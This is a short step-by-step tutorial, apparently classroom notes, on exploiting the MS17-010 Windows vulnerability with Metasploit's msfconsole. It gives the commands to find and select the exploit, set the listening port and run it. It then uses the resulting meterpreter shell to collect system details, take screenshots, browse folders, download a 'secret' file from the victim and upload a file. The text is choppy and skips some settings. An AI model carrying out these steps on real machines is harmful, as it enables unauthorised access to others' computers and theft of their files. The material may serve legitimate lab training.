(8)Vulnerability Scanning and Ms17 010 Exploit
(8)Vulnerability Scanning and Ms17 010 Exploit
msfconsole
Step 2 :now we need to search for exploit in msfconsole type
search ms17-010
Step 3:msfconsole displays ways to hack the system, we c hoose
any one of them
use 0
Step 4:now we need to give target ip address to msfconsole
show options
Step5 :to set the target ip address
to receive the connection from the target the LPORTshould be any port
number as shown in example , choose any port number
run
.
You will see that msfconsole tries to connect to the target system
If you get (win) at the end you have hacked the system
successfully .
NOTE:
Now you can run screenshot, sysinfo , ipconfig to see the details
of hacked system.
Continuation of ms17-010
After gaining access to the target system we need to check the location of our
meterpreter access by typing : pwd
pwd
Now in windows operating system c:\windows\system32 is the path where we got access
But to see the files of Documents , Downloads ,Pictures , videos etc we
need to change the directory .
cd Downloads.
Now in the next step let’s try to download the secret.txt.txt file into our
kali linux
To download a file from target machne we will use download command along with
the file name
download secret.txt.txt
So the file has been downloaded to our linux let’s open new terminal to
see the downloaded file .
Type ls to list the files
ls
.
Now to upload a file from linux machine → to windows
machine we use upload command along with the file name to
be upload.
upload hacked.txt